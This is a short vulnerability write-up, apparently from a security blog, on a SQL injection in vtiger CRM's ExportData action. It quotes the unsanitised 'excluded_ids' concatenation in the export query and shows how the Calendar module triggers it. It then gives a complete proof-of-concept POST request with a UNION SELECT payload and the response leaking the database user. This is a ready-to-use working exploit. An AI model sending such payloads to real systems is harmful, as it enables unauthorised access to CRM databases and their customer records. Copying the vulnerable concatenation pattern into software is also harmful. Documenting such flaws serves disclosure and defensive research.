0x01 Get source code
We can get the source code from https://www.vtiger.com/open-source-crm/download-open-source/
0x02 Sqli vulnerabilities
modules/Vtiger/actions/ExportData.php , ExportData function , $db->pquery to execute the sql.
代码语言:txt复制 $query = $this->getExportQuery($request);
$result = $db->pquery($query, array());
follow the getExportQuery function, line 200,
代码语言:txt复制$query .= ' AND '.$baseTable.'.'.$baseTableColumnId.' NOT IN ('.implode(',',$request->get('excluded_ids')).')';
we can control the $request->get('excluded_ids')) variable to sql injecttion.
0x03 Trigger vulnerabilities
modules/Calendar/actions/ExportData.php, the function ExportData.
代码语言:txt复制public function ExportData(Vtiger_Request $request) {
$this->moduleCall = true;
if ($request->get('type') == 'csv') {
parent::ExportData($request);
return;
}
call the parent's function ExportData to trigger the sql injection.
poc:
代码语言:txt复制POST http://localhost/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 565
Referer: http://localhost/index.php?module=Calendar&view=List
Cookie: PHPSESSID=3us5esfl1trl1l2fvca8qr6nt0
Connection: close
Upgrade-Insecure-Requests: 1
__vtrftk=sid:4396fb92c83fa09039b33490416bd5d2f259ec33,1586430021&module=Calendar&source_module=Calendar&action=ExportData&viewname=11119&selected_ids=&excluded_ids=&page=1&search_key=&operator=&search_value=&search_params=[]&orderby=&sortorder=&tag_params=[]&type=csv&mode=ExportSelectedRecords&excluded_ids[0]=1) union select '123','1','2020-04-09','10:17:00','10:22:00',DATE('2020-04-09'),'2020-04-01','10:17:00','','Planned','Planned','Planned2','Planned','','0','2020-04-09 10:17:06','2020-04-09 10:17:06','Call','Public','','0','1',user(),'','2'#
reponse
代码语言:txt复制"123","admin","04-09-2020 03:22:00","03:22:00","03:17:00","04-01-2020 03:17:00","","Planned","","0","04-09-2020 03:17:06","04-09-2020 03:17:06","Call","Public","","0","admin","root@10.16.100.69","",""